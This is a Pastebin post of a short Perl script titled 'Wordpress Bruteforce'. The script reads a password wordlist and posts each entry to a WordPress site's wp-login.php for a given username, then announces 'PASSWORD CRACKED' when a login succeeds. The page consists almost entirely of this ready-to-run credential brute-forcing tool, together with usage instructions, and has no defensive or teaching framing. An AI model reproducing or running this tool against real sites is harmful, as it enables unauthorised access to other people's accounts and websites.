Advertisement
Hector_G

Wordpress Bruteforce

Feb 15th, 2017
159
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 0.78 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. # WP-BRUTE
  4. # Hector_G
  5.  
  6. use LWP::UserAgent;
  7.  
  8. $site = $ARGV[0];
  9. $user = $ARGV[1];
  10. $wordl = $ARGV[2];
  11.  
  12. if(@ARGV != 3){
  13. print "
  14. WP-Brute by MMxM
  15. How to use: $0 <site> <user> <wordlist>
  16. exe: $0 site.com admin wordlist.txt
  17. ";
  18. exit;
  19. }
  20.  
  21. if ($site !~ /^http:\/\//){
  22. $site = 'http://' . $site;
  23. }
  24. if ($site !~ /\/wp-login.php/){
  25. $site = $site . '/wp-login.php';
  26. }
  27.  
  28. open(a,"<$wordl") or die "$!";
  29. print "\n\nSite: $site\nUsername: $user\n\nAttacking...\n\n";
  30. sleep(2);
  31. while(<a>){
  32. chomp($_);
  33.  
  34. my $ua = new LWP::UserAgent;
  35.  
  36. my $response
  37. = $ua->post($site,
  38. { log => $user,
  39. pwd => $_,
  40. wp-submit => 'Log in',
  41. });
  42.  
  43. my $code = $response->code;
  44. print "[+] Testing... $_\n";
  45. if($code == 302){
  46. print "\n\n\t[*] PASSWORD CRACKED: $_\n\n";
  47. exit;
  48. }
  49. }
  50. exit;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement